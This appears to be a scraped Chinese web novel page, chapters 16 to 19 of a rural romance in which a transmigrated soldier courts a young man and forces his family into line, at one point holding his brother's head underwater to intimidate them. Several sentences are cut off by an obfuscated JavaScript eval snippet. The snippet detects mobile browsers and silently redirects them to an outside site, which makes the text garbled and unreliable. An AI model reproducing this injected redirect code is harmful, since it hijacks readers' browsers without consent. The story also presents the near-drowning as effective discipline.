这里正好是一个小斜坡,二人摔倒后,顺着小斜坡就骨碌碌滚下去。这个小斜坡上有好几个村人布置的陷阱,李氏正好就滚到陷阱上,掉了下去。她后面的王氏跟着掉进陷阱,那陷阱就那么一点大,王氏掉下来的时候就砸在李氏身上。 “啊啊啊!!!”李氏再次发出惨叫声,惊起飞鸟无数,也惊到了正在找人的梁氏。 梁氏发现李王二人不见后,心里就有一股不好的预感,她立刻漫山遍野的找人。找了半天也没找到,忽然就听到李王二人的惨叫声,梁氏眉头跳了跳,顺着声音找过去,最终在一个陷阱底下找到了两人。 李氏和王氏趴在陷阱底下惨叫,一个抱着腿,一个抱着一条胳膊。 梁氏几乎下意识就往周围看去,逡巡邴大郎的身影。梁氏看来看去,找了好久,都没在影影绰绰的树林中看到那个熟悉的身影。 李氏已经痛到不行,她看着站在陷阱边上不知道想啥的梁氏声嘶力竭的惨叫道:“梁氏,你能不能不要东张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138113|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西望,赶紧去山下叫人救我们!” 王氏也喊道:“快点,痛死我了,我是不是要死了!” 梁氏这才恍然惊醒,“你们等我,我现在就下山叫人。” 梁氏一路往山下跑去,幸而她们走的不远,下山也快,叫了两家男人匆匆忙忙又赶回来,把两个人从陷井里弄出去。 村里唯一的赤脚郎中也被两家人请着跟上山,当场给两个人看了,一个腿部骨折,一个胳膊骨折,需要好好养着,养伤期间不能吃力,否则会留下残疾,若是养得好,则不会。 郎中给两人处理了伤势,包扎下,要了两家一家三十几文钱,当然还包括一周药钱。 李氏和王氏听到伤的这么重,还花了那么多钱,两个人都不干了。 二人先是赖陷阱,打算讹陷阱主人钱,结果发现这个陷阱是王氏家里男人设下的,王氏立刻就反口了。管李氏要赔偿,理由就是她是李氏拽下来的,李氏自己摔倒,非得拽她一把,要不然她不会摔倒,更不会伤了手腕。 李氏又狡辩说她得腿是王氏砸断的,她虽然拽了李氏一把不假,但是王氏滚进陷阱的时候,要是不砸在她腿上,她腿也不会骨折。况且这个陷阱还是王氏家男人设的,王家必须赔偿她钱。 二人当场吵了起来,吵来吵去也没有一个结果,谁也没想到,二人最后竟然把炮火对准了梁氏,纷纷让梁氏赔偿。 梁氏一开始唬了一跳,还以为是她家邴大郎做事被二人捉住了把柄,稳了稳心神,装作不知情问道:“这事跟我有啥关系,你俩摔下去的时候,我都不在跟前。总不能因为我不在跟前就是错吧,要是那样的话,今个村里没在这的人岂不是都错了,难不成全村都得赔偿你。” 李氏气道:“梁氏,你不要胡搅蛮缠,今个我俩会受伤全部都是因为你。” 梁氏的心脏砰砰乱跳,就怕邴温故暴露了,还得竭尽全力装作冷静的模样,“凭什么?” 李氏急道:“要不是你一路上非得跟着我俩,我俩能为了摆脱你钻小路吗?不钻小路,我俩也不能摔倒,反正这事你得负责。” 王氏明白了李氏的意思,都知道彼此不会给对方赔偿,还不如把梁氏拉下水。 16.再见小夫郎 王氏也道:“就是因为你,说来自从你们邴家跟李家亲事黄了后,你都恨不能砍了李氏出气,今个也没好端端的非要跟李氏一起上山挖野菜,还对李氏笑。你说,你是不是憋着坏,我俩受伤就是你使的坏。” 梁氏一听不是邴大郎被抓到把柄,心里就有底了,当时底气就足了起来。 “你俩可真能胡说八道,难不成我还会算啊,知道你俩事先往那边走,然后还得做法让你俩站不住摔倒,还得摔进你男人布置的陷阱,又那么恰好一个摔断腿,一个摔断胳膊。” 梁氏翻了一个大大的白眼,“我要是有那样的本事,你们早就不敢跟我在这哔哔赖赖了。” 除了李王二人的家人外,其他跟过来的村人闻言都哈哈大笑起来。就是李王二人的家人都都有些听不下去了。 李氏死犟道:“你对我没坏心,你今天非要一直跟着我干什么?” 梁氏理直气壮道:“我这不是最近突然想开了吗?寻思我家大朗这事就算了,你们家小娘子可以嫁人,我家大郎也可以另娶。大家都是一个村里住着,抬头不见低头见,冤家宜解不宜结,找个机会和好算了。谁知道我不过就是想找你们和解,现在就被你们给赖上了,你俩这样的人品,和解什么的还是算了吧。大家以后还像从前那样,互不往来正好。” 梁氏说完扬长而去了,才不管李王二人的反应。反正只要不是邴温故暴露,今个就是说出话来,李王二人这事也赖不到她身上。 “当家的,快点拦住她,不能让她就这么走了,今个这事,她赔也不得赔,不赔也得赔,必须给我一个说法。”李氏立刻嚷到。 “你可快闭嘴吧,能不能别再丢人现眼了!”李氏的男人呵斥着。 本来退亲的事情他就觉得有些对不起邴家,但是私心里他不愿意女儿嫁到邴家那样的人家,就没管。可今个这事,说破大天去,都赖不到梁氏,况且村里这么多人看着呢,又不是梁氏推的,他们就是在撒泼无赖也没有,梁氏可定不会答应赔偿,闹大了,家里名声就更臭了。 “你们赶紧把你们娘背回家,这段时间就好好在家待着,别出来闲逛了。” 李氏都让他家男人给弄回家了,王氏男人一看,也不让自己媳妇攀扯梁氏了。 梁氏下山的路上都在想,今天的事情到底是不是他家大郎做的。 就像她自己说的那样,如果是她家大郎做的,她家大郎是怎么做到把一切都预先设计好,又是怎么做到,再不亲手推人,却能让李王二人摔倒的? 梁氏下山,哪也没去,直奔家里,此时推开家门,就看见邴温故正在肢解傻狍子。 一路上想到的质问的话都卡在喉咙里,梁氏缓了半晌才道:“大郎,你不是杀鸡都不敢的吗,怎么今天竟然肢解上这袍子了?” 邴温故从来没想隐瞒他和邴大郎的不同,他就是他,他不愿意一辈子都扮演另一个人。更何况,这里还有他的爱人,他要他爱的人爱上的是他,真真正正的他,而不是他扮演的某个人。 再者现在也是改变的最好时机,什么都可以推到死过一场上去,性格大变什么的,也能解释得通,这样的例子也不在少数。 如果邴家人为此闹出什么幺蛾子,邴温故自信有办法完美解决。当然如果邴家人不搞事情,他不介意完成原主孝顺父母,回报邴家,让邴家过上好日子的愿望。 不管怎样,一切都不能跟他自己的利益冲突,因为他不欠原主的。 邴温故看了一眼梁氏,淡淡道:“从前是怕,可是死过一场就发现自己死都不怕,还有什么可怕的!” 梁氏眨了眨眼睛,眼中私有泪花闪过,好似心疼儿子那场死劫,又好似别的什么,“李氏等人受伤的事情是你做的吗?” 邴温故闻言头都没抬,手上动作不停,“娘,你在说什么,我听不懂。我说过死过一场,很多事情我都看开了,李二娘既然已经再嫁了,就只能说明我们没有缘分。我不会因此记恨李氏。” 梁氏想说我说的是南家小哥儿的事情,可是看着自己儿子一副不愿意深谈的模样,忽然就灰心丧气。 梁氏道:“算了,不管她们之前说的多难听,现在都遭到报应,也算够了,总不至于为了几句话搭上命吧。” 邴温故道:“她们的事情跟我们没关系,娘,我现在没心思管别人,咱们自己家的日子还没过明白呢。” 邴温故把狍子分卸了,一条后腿和肥厚相间的部位被邴温故留出来,打算一会儿给小夫郎送过去。 还有一部分给了梁氏,“娘,这些你让二弟妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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南锦屏的心脏怦怦狂跳,虽然邴温故跟他表白过心意,但是他并不知道邴温故对他的喜欢有几分,能不能抵得过村子里那些流言蜚语。 “老天爷开眼,周南市那个老虔婆家的柴火堆不知道怎么失火了,把他家房子烧着了,不过却没有烧到邻居。还有王氏和李氏……”苗氏正在跟南锦屏说村里的八卦,忽然听到外头的鸟叫声,她随意看了外头一眼,继续道:“真是报应啊。” 南锦屏心虚的坐在板凳上,眼珠子滴溜溜转了转,“娘,我去院子里待一会儿,屋里闷。” 苗氏没放在心上,点点头,“去吧,别去村里,那帮老娘们就知道胡咧咧。” 17.邴家那就是一个大火坑,不能嫁 南锦屏从屋子出来后,没有立刻就去找邴温故,而是先左右看了看,确定四周没有人,这才推开栅栏门来到柴火堆后面。 邴温故立刻献宝似的把柳筐递给南锦屏,“给你,我猎到了狍子,特意给你留了肥肉多的部分。” 南锦屏没有接,而是用鞋尖踢着地面上的小石子,闷闷道:“你还敢来,不怕村里那些流言蜚语吗?” 邴温故立刻就表忠心道:“我不怕,你那么好,才不是他们说的那样。你更不是没人要,嫁不出去的老小双。我不就一直在求娶你吗,一直都是你瞧不上我而已。” 南锦屏抬头奇怪地瞅了邴温故一眼,他自己什么样,自己最清楚。 虽然没有村人说的那么不堪,但是绝对称不上好。 他长相不好看,不是时下人喜欢的那种雌雄莫辨的柔美纤细的双儿,体格则是更偏向于汉子的壮实。如果只从体格上看,说他是汉子都有人相信。 他眉心的那点孕痣还不明显,非常浅,不仔细看都看不出来,暗淡无光,郎中说这样的孕痣代表着他以后几乎不能生育。 种种一切数下来,他确实没有什么地方值得人求娶的,说他嫁不出去,也不算冤枉他。 通过南锦屏的脸色变化,邴温故大致猜到了南锦屏的心理活动,立刻就道:“你很好,真的,那些人就是嚼舌根,胡说八道。你看。老天爷都看不过去,惩罚了她们。” 想到那几个背后编排他的妇人最近都倒了大霉,南锦屏的心情又好了一些。不过他可没有自恋到认为那些老天爷因为她们编排他,而惩罚那些人。 “要不这样吧,明个我叫媒人上门提前,到时候你再拒绝,让村里人都知道知道你才不是没人要,相反你抢手得很。你不成亲,只是因为你看不上那些提亲的人罢了,你只是在亲事上很挑剔,可不是什么人都能随随便便娶你的。”邴温故提议道:“这样就省的村子里那些碎嘴婆子们再说嘴了。” 他并不挑剔,实际上昨天他娘还希望能有一个平头正脸的汉子求娶他,就知足了。 “这么做,你不会觉得没面子吗?”南锦屏问道:“被我这样一个没人要的小哥儿拒绝亲事很没脸吧。” “怎么会?才不会。” 不会吗?南锦屏觉得邴温故应该是一个及其要脸面的人,要不然就不会因为一个并不喜欢的小娘子另嫁就投河自尽。 “完全不会,能被你拒绝是我的荣幸。”邴温故没皮没脸道。 追老婆要什么脸! 可真不要脸,拒绝还荣幸什么的鬼话! 南锦屏从来没被汉子追求过,不知道是不是所有汉子追求伴侣时都这么不要脸,但是不得不说这种感觉还不赖,甚至心里甜滋滋的。 读书人的自尊心都强,南锦屏觉得邴温故自尊心又格外强,能让自尊心那么强的男人低三下四跟他讲这种话,不管怎样,这样的心绝对格外真诚。 以他这样的条件,能遇到对他这么真心的人,恐怕这辈子也就这么一个了,错过了就绝对不再有了。 南锦屏小声道:“好吧,有时间你叫人来我家提亲吧。” 说这话的时候,南锦屏的脸红彤彤的,热辣的能烧起火来。 “这就对了,省着村人真以为你没人要。到时候你该拒绝就拒绝,不用顾及我脸面,不好意思什么的。”邴温故满不在乎道。 “我就不能答应吗?”南锦屏觉得自己整个人好像都烧着了般。 “你当然能。”邴温故下意识重复,随后反应过来,立刻就双眼放光地瞅着南锦屏,那火热而直白的视线,好像南锦屏是一块味美的大肥肉,下一秒就要把他吞吃入腹。 “你这是肯答应我了?” 南锦屏被邴温故的目光看的羞臊,跑回了家,也不肯回答邴温故的明知故问。 邴温故在南锦屏身后吼道:“我明天就叫媒人上门,你记得叫你耶娘在家里等着。” 南锦屏听到邴温故这么说更不好意思,一下就钻进屋里。 邴温故站在原地傻乐一会儿才想起手里的傻狍子肉没送出去,不过他也不在意,没送出去就没送出去吧,可以明天提亲的时候拎去,他的小夫郎正好能正大光明的吃,不用偷偷摸摸了。 邴温故拎着狍子肉哼着小曲,乐呵呵往家走。 这头南锦屏回到屋里,苗氏边做活,边不知道有意还是无意问道:“外面可是布谷鸟?” 南锦屏被南家父母教的乖巧,不擅撒谎,吞吞吐吐不知道该怎么回答,最后心一横,豁出去道:“娘,邴大郎愿意娶我,我想嫁给他。” 苗氏手中的针线啪地一下掉了,整个人都不好了。整个南家犹如平地一声惊雷,炸的尘烟四起。 苗氏抱着南锦屏呜呜的哭,“娘的儿呀,你不要想不开,那邴大郎岂是良人,邴家穷成什么样了,野菜窝窝头都要断顿了!” 南父拿出一年抽不了几口的大烟袋吧唧吧唧的抽着,满脸愁苦,“不行,邴家绝不是什么好去处,还是换一家吧。” 南大郎同样道:“锦哥儿,你不要听周南氏那个老妖婆和村里那些长舌妇人胡说八道。慢慢找,总能找到良人,邴家不行,他家都要饿死人了,我绝对不同意你嫁去邴家。” 南二郎跟着道:“我看见过邴家小孩子在山上挖野菜的时候饿的受不了吃观音土。” 南三郎道:“邴大郎本身也不是一个好人,他家里都那个样子了,他还非要读什么劳什子的书。那书是那么好读的。每年要耗费多少银子,都够全家花销了,那就是一个无底洞。哥,你可不能往那个大火坑里跳。” 十二岁的南小妹已经懂得很多事情,村里甚至有十三岁成亲的小娘子,因而已经知道成亲意味着什么,她焦急地劝道:“锦哥,你嫁给谁都可,就邴家不行,邴家那日子,眼瞅着就要卖媳妇过活了。” 南家几人一人一句说的苗氏更加悲从中来,嚎啕大哭,“锦哥儿,你与其嫁邴家,不如就留在家中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152572|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一辈子不嫁,最起码家里还能有你一口饭吃。你现在还年轻,好好帮家里干点活,日后对几个侄儿真心真意,你侄子们总会奉养你终老,给你一口饭吃。” 南大郎立刻把自己两岁大,啥也不懂,还在裹手指的奶娃娃拽过来,“平安,你说,你以后长大一定会给你伯伯养老,不要他嫁去邴家。” 两岁的小奶娃还不会说话,被父亲焦灼的语气吓到,嘴巴一裂,哇哇大哭。 顾氏心疼的不行,把孩子从南大郎手中解救出来,瞪了南大郎一眼,“平安还这么小,懂什么,他又不会说。” 其实顾氏心底是希望南锦屏赶紧嫁出去的,不说别的,家里有这么一个嫁不去的老哥儿,她走出去也跟着抬不起头。 况且她也有孩子,以后子女长大,家里有这么一个嫁不出去的伯伯,亲事上说不得受多少连累。 不过她儿子现在才两岁,说这些还过早。 顾氏没有坏到骨子里,希望南锦屏嫁人不假,但是也没有坏到盼着南锦屏跳火坑。所以南家人劝南锦屏不要嫁,顾氏就算希望南锦屏立刻嫁人也没有出言反对。 就南家人现在这个气氛,顾氏也不敢吱声,她怕被激动的南家人给生撕了。 南锦屏看了一眼大嫂,知道她的小心思,他理解,做父母自己怎样都无所谓,谁都不愿意自己的孩子被一个伯伯给连累。 南锦屏垂下眼眸,“娘,总是要嫁人的,与其给人做妾做通房,或者嫁给那些缺胳膊少腿的汉子,还不如嫁给邴大郎。最起码邴大郎身体没有残疾,长相还算周正。嫁给他,也无非就是家里穷些,日子苦了点。阿娘,你知道我,我不怕吃苦。” 苗氏哭着道:“邴家的日子那是苦了点吗?那就是一个大苦坑,坑里的水都会黄连泡的苦水。” “可是我总不能真不嫁人,那样会连累家里弟妹的婚事、有我在,弟妹们都不好说亲了。” 南二郎、三郎和南小妹均信誓旦旦的表示不怕。 就算他们不怕,身为他们的母亲的苗氏却不得不考虑这些。 南锦屏若不嫁人,家里的孩子们的亲事势必会受到影响。原本可能可以嫁到一户门当户对的人家,不说大富大贵,最起码能吃饱穿暖,可能被影响到最后不得不嫁一个更穷的人家,一辈子吃苦受累。 而汉子们可能因此被连累的娶不上媳妇,或者娶一个身体有缺陷的,更甚至智力有问题的。 这些都是现实问题,苗氏得考虑。 孩子们现在表示不在乎,可是当真的发生了,在一日日的磋磨和劳苦中度过,那时候今日的这份兄弟情还能剩下几分,只怕到时候就只有对锦哥儿的怨恨了吧。 那时候恐怕就算有能力,都不会再愿意帮助锦哥儿了。 南锦屏见苗氏心生动摇,接着劝道:“阿娘,就算弟弟妹妹们不怕被我连累,那侄子侄女们呢?若是他们因我而亲事受影响,待我日后老了,不能动了,还肯照顾我这个伯伯吗?” 18.邴温故发疯 南家不平静,邴家同样不平静。 南家仅是悲戚,邴家则要世纪大战了。 邴温故回家刚把想要娶南锦屏的事情一说,邴家所有人都出声反对。 邴家父母还好,情绪尚且稳定,只是发愁银钱方面的事情。 梁氏苦口婆心劝道:“大郎,娘知道你的心思,南家小哥儿救……你想要娶他,娘理解。可是你也要想想咱们家的情况,咱家目前这个经济能力真不适合娶亲,你把人娶回来,吃什么喝什么,总不能让人家小哥儿跟着吃草根啃树皮吧,那是恩将仇报。” 邴父蹲在地上没说话,面色凄苦,恼恨自己无能,儿子娶亲的银子都凑不出来。 邴二郎沉默,他们夫妻在家里向来就是隐形人,老黄牛。邴家夫妻说什么他们就是什么,邴大郎说什么,他们就做什么。 邴三郎不满意,但是没吭声,他私心里觉得邴大郎这些年祸害了不少银子,要不是他非要读书,还读不出一个名堂,家里日子也不会被连累的这么难过。 但是娶媳妇这件事情,邴大郎早晚都得娶,娶一个小娘子,要的聘礼只会更多。倒不如娶南家小哥儿,以南锦屏如今的名声,说不得家里一个大子都不用出。 所以对于邴温故成亲这事,邴三郎无可无不可,他坚决反对的是邴温故继续读书。 钱氏跟她男人的想法是差不多,她不想让大伯哥继续读下去,但是比之男人,她还不想大伯哥娶亲。 “大哥,不是耶娘不拿钱出来给你成亲,而是家里现在真没这个钱。你也知道,前几日,你侄女看个病,剩下几个铜板,我想留下给你侄女买点好吃的补补身体,都被娘骂着要回去了。家里就这么个情况,你成亲哪里来的钱,成亲后家里多了一张嘴,怎么办?” 梁氏狠狠瞪了钱氏一眼,“大伯哥的亲事,轮不到你一个弟妹做主。” 钱氏小声嘟囔道:“我倒是不想管,可家里日子总要继续过下去吧。我又没说错,若是大哥能解决家里口粮的问题,我没意见。” 梁氏骂道:“闭嘴,老娘给儿子娶媳妇,天经地义,就没听说过谁家老娘给儿子娶媳妇还得先问问弟妹同意不同意的,给老娘滚进屋子去。” 梁氏其实觉得钱氏说的有些道理,但是她不能附和,主要是钱氏这人蹬鼻子上脸。 再一个大儿子脸色太难看了,她都有点不敢劝了,大郎那模样,好像随时能跳起来打人似的。 钱氏被骂了一通好没脸,冷哼了一声,摔门帘子进屋了,不过其实人却悄悄趴在窗户那里竖起耳朵认真听着外面的争吵。 邴五郎和邴小妹年纪还小,家里这些事情尚且轮不到他们做主,他们就坐在那里沉默的听着。 私心里,他们跟邴三郎的想法大差不差,与其阻止邴温故成亲,不如不让邴温故继续读书。 邴四郎仿佛没看见邴温故杀人一样难看的脸色,跳起来大声嚷嚷道:“不行,我绝不同意!” 梁氏瞄着邴温故难看的脸色,生怕邴四郎惹恼了邴温故,兄弟两个当场打起来。 梁氏赶紧训斥道:“你大哥的亲事,除了我们老两口外,你们兄弟几个有一个算一个都没资格管。” “凭啥啊!”邴四郎不服气的叫嚣,“大哥读书造害了家里多少银子,如果他不造害那么多银子,咱家日子绝对难过不到这个今日这种程度!” 邴四郎可不怕邴温故的黑脸,在他眼里,大哥就是一个只会造害银子的软脚虾,他一个能打十个。 “要是大哥没有造害这么多银子,他想娶媳妇那就娶,我绝对没资格管。但是前提是大哥没造害那么多银子,现在家里银子都给他霍霍光了,还要给他娶媳妇,未免太不公平了吧。” 邴四郎想的是他自己也到了说亲的年纪了,家里本来就穷,村里都没人愿意嫁他。若是大哥娶了夫郎,家里再借一堆外债,那么王五娘子家里就更不可能许亲给他了。 本来他家条件就和王家不相配,王五娘子就曾侧面跟他表示过她家里嫌弃邴家穷,还有一个不事生产,就知道糟蹋银子的读书人。 邴四郎一声声的质问,质问到了邴家人的心底,一时之间,邴家夫妻都沉默了。 邴四郎见状态度更加放肆,没有半点对兄长的尊敬,伸出一根手指指着邴温故的脑门道:“不行,我告诉你,邴温故,我不同意这门亲事,这门亲事就绝对成不了!” 邴温故少年成为将军,到了如今已经当了二百多年的上位者,早就习惯了说一不二,这要是在他的部队里有士兵敢这个态度跟他讲话,早在开口说第一个字的时候就被他一脚踹晕了。 要说一开始,邴温故还能强压怒火,听邴四郎抱怨,在邴四郎指着他鼻子和坚决反对他娶南锦屏的时候,那根名为理智的弦就断了。 这真不是邴温故自控力不行,实在是邴温故的精神力二百五十年没有做过精神疏导,早就狂躁不堪,受不得撩拨。 偏偏这些人还要跳出来反对他最在意的事情,就算邴温故没有精神领域的问题,一个男人打了二百五十年的光棍,现在终于能说上媳妇了,这时候却有人跳出来不准。 信不信,这老光棍能直接暴起杀人。 就别说邴温故精神领域本来就不稳定。 邴温故直接就赤红了双眼,二话没说,一把薅起邴四郎的脖领子,就跟薅个小鸡崽似的,轻轻松松就把人拎了起来。 邴四郎起初没反应过来,反应过来的时候羞恼的反抗,他原本以为轻易就能挣脱开。并且还能反过来把邴温故摁在地上暴揍一顿,新仇旧恨一起出,直接把人打服。 结果和他想象中的完全不同,邴四郎发现他根本挣不开,邴温故的手,就跟铁钳一样,看着干瘦,力气却奇大无比。 邴四郎被邴温故直接拎到水缸前,根本毫无反抗能力,然后就被邴温故一头摁进水缸里。 邴四郎挣扎着,起初还能呼吸上来,可是不一会就喘不上来气了,汹涌的窒息感排山倒海向他袭来。耳边是母亲尖锐刺耳的尖叫声,再然后兄弟们的惊呼声都在逐渐离他远去。 梁氏和邴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161963|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父第一个冲上来拉邴温故,被邴温故侧身躲开。梁氏和邴父哪里肯放弃,过来打邴温故。 邴温故还要保持一手把邴四郎按进水里的姿势,无处可躲,干脆就不躲,随便梁氏和邴父怎么打他。 反正二人越是使劲打他,他就越是发狠地把邴四郎的头往水里按。 邴家两兄弟过来拉扯他,可就没梁氏和邴父这个待遇了,邴温故一人一脚踢过去,直接把人踹飞了出去,两兄弟趴在地上好半晌,愣是爬不起来。 那胸口疼的,好像肋骨断在里面。 邴四郎露在外面的双腿挣扎的幅度越来越小,梁氏和邴父注意到了,二人不再打邴温故,试图掰开邴温故按在邴四郎头上的手。 这时候夫妻两个才知道为什么平日里这个下地干活力气很大的四儿子挣扎不开,邴温故的力气是真的大,他们老两口使劲全力都掰不开一根手指头。 梁氏意识到,邴温故不松手,他们真的救不出邴四郎,哭着求道:“大郎,大郎,是你四弟错了,你想娶南家小哥那就娶,娘就是砸锅卖铁都给你娶。” 自爆前,邴温故的精神状态一直就处于一个极不稳定的状态,当时军医给的诊断就是再不做精神疏导不一定能干出啥事。 果然军医的诊断是对的,邴温故后来突然就自爆了。 哨兵骨子里就是暴戾基因,尤其是邴温故这种常年处于一线战斗的,更加狂躁。 别的事情倒还好,邴温故尚且能克制住骨子里的暴虐情绪,但是胆敢反对他娶夫郎,邴温故真的忍不了。 幸亏那时候被南锦屏救上来时,无意之中二人神交了,邴温故的精神领域被安抚过一次,这让邴温故的精神状态好了很多。 邴温故在最初的一瞬间失了智,不过很快就重新恢复理智。 后来他一直没放开邴四郎,单纯就是为了吓唬人罢了。 邴四郎在邴家就是个刺头,不想他继续跳出来整日给自己添堵,就的一下把人治服。 当然也是杀鸡儆猴,给邴家所有人一个震慑。 现在的邴家就是一盘散沙,谁也不服邴温故这个兄长,甚至还在心底里暗暗瞧不起他,邴温故在这个家里没有一点话语权。 要想把这样的邴家人调教的能用,得费不少功夫和时间。邴温故没那个耐心用温和的手段慢慢调教,倒不如直接来个狠的,先把所有人都震慑住,之后再教,这也能节约不少时间。 部队里最常用的就是这种套路,否则无法在最短的时间内做到令行禁止。 这也是邴温故的性格,属于一个少年将军强硬的作风。 邴温故看了哭的满脸是泪的梁氏,感觉差不多达到目的了,便松开了邴四郎。 邴四郎从来没觉得死亡竟有离他这么近的时候,就在他以为自己要被淹死的时候,脑袋被邴温故从水里薅了出来。 邴四郎大口大口呼吸着新鲜空气,由于太用力,以至于吸的呛咳起来。 邴四郎软趴趴的摔在地上,狼狈的大口大口喘息着,咳嗽着。 19.被拒绝 “四郎,四郎……”梁氏扑上去抱着邴四郎,“你怎么样?” 邴父也赶紧跑过去查看儿子的情况。 邴四郎好一会儿才缓过来,也感觉到了嗓子里火烧火燎的,他忍着疼哑着嗓子对梁氏道:“娘,我没事。” 梁氏和邴父见儿子缓过来了,这才放下心来。 邴温故居高临下俯视着邴四郎,“我的亲事你可还反对?” 邴四郎咬着嘴唇,都这个时候了还犟着不肯吭声。 这下,邴四郎反倒让邴温故刮目相看了。从前邴温故最喜欢邴四郎这样的兵,骨头硬,脾气犟,轻易不肯服软。 但也是这样的兵才是最好的兵,一旦带出来,让他打心眼里服气,那便是最忠诚的士兵,誓死都会追随在他认可的人身边。 梁氏吓的生怕大哥子再给四儿子来一下,忙拽着邴四郎道:“你说话呀,说你不反对。” 邴父气的差点没一巴掌拍在邴四郎脑袋上,这个犟种! 邴四郎愣是忍着哆嗦不吭声,把梁氏急的差点团团转。 邴温故看着死犟着不松口的邴四郎,心里反而笑了。很好,邴四郎这个兵,他收了。 想了下,似乎在记忆中翻找到一些蛛丝马迹,邴温故问道:“邴四郎,你是不是也有私定终身的人了?” 邴四郎倔强地瞪着邴温故,不肯开口。 邴温故再次问,“是王五娘吗?你对她似乎格外殷切了些?” 邴四郎双颊通红,不知道是被戳中心事羞红的,还是刚才弄的。 “你,你不要胡说!”邴四郎支支吾吾道。 虽然邴四郎没承认,但是见他这个样子,邴家人还有什么猜不到的。 “王家五娘子?”梁氏想到王家的小姑娘,并未找到她对邴四郎的特别之处,相反梁氏还觉得王家五娘子私心里应该是瞧不上自家的。 虽然掩饰的很好,但是她活了大半辈子的人了,还不至于看不透一个小娘子心里头那点事。 梁氏迟疑道:“四郎,你不会是单相思吧?” “才不是。”邴四郎又快又急道。 邴温故嗤笑道:“我看分明是那王五娘故意吊着你,瞧不上咱家,又舍不得你给的好处。” 邴四郎梗着脖子道:“咱家都穷成这样了,吊着我有啥好处?” “让我猜猜。”邴温故眯着眼睛,“你应该省下自己的口粮给她过。她家也没比咱家日子好过到哪里去,家里重男轻女,更不可能给她吃多少粮食,估计你省下的那些粮食刚好能让她勉强混个肚饱。” 这村里不止王家穷,都穷,要不咋能是整个兴河镇十几个村子里最穷的村子呢。 要说整个村子谁家日子过的最好,就里正家。 “就算你没多少粮食给她,但是你还有一把子好力气,她家里只有一个老父和懒货弟弟,能给她干活也不错,我猜农忙的时候,你没少偷着给她家帮忙吧。” 邴四郎被说中,吭哧吭哧半晌才道:“村里不是没有别的汉子给她献殷勤,她都拒绝了,只接受我的。要是对我没意思,咋可能别人的帮助都拒绝了,单单就不拒绝我的?” 邴温故嗤笑,“也可能别人献的粮食,你献出的力气,哪个她都没拒绝。” “你胡说,王五娘子才不是那种人!”邴四郎大叫。 “是不是那种人,也不是你我说的算的。”邴温故看着邴四郎道:“这样吧,给你一个机会,你去给王五娘说你要娶她,家里已经同意,你看她会不会答应你?” “一定会的,五娘肯定愿意。”邴四郎欣喜道,随后又失落下来,“家里这样的光景,就算是五娘同意,可是咱家又出不起银钱。” 邴温故道:“这个不用你操心,我有办法,你只管去问她,若是她肯嫁你,村子里别人家娶亲都出多少聘礼,咱家就出多少。她也不用担心家里的那些外债。既然都是我读书欠下的,就都算在我身上。” “真的?”邴四郎眼睛都亮了。 “嗯,”邴温故点头,“你去问吧。” 邴四郎就跑掉了。 邴温故转身准备回房,冷不丁对上钱氏的眼睛,钱氏愣是硬生生吓了一个激灵,蹬蹬后退数步,一个屁股堆坐在地上。 原来钱氏在屋里听到外面闹的厉害,就出来看看,就看到了邴温故发疯这幕,吓得浑身颤抖。 “三郎,三郎,我肚子疼。”钱氏坐在地上,声音颤抖。 邴三郎赶紧三步并作两步过去,把人抱起来,“我抱你回屋。” 邴温故道:“三娘,你去请村里把郎中请过来给你三嫂瞧瞧。” 邴温故递出十几个铜板,邴三娘愣是吓得不敢接,还是邴五郎大着胆子接下,拽着三娘一溜烟跑了。 梁氏深深叹口气:“大郎,外面的欠债,家里不会不管。” 邴温故此刻已经恢复冷静,甚至还能心平气和道:“娘,待我来日高中,那点子银子算什么?” 这下邴家所有人都沉默下来,这些日子邴温故一直在读书,邴家人都知道邴温故没有放弃,可是没想到他竟然还做着不切实际一朝得中的美梦。 考秀才哪是那么容易的,他们十里八村就没听说过谁家考中过,就算镇上,能考中的也是少数。 以前梁氏也做着这样的美梦,可是现在早就放弃了,她已经被日复一日的辛劳磨没了幻想。 刚刚见识过邴温故的疯狂,邴家人此时没一个人敢辩驳邴温故的话。 邴四郎高高兴兴跑到王五娘家院外,第一次不用避讳外人,大大方方叫道“五娘,五娘……” 屋里的王五娘听到喊声,认出那是邴四郎的声音,登时脸色就变了。 王父听到汉子的声音眉头皱了皱,“听声音是邴四郎吧?你眼瞅着就要说亲了,可不能在这个节骨眼上传出跟邴四郎不清不楚,要不然可说不上好人家了。” 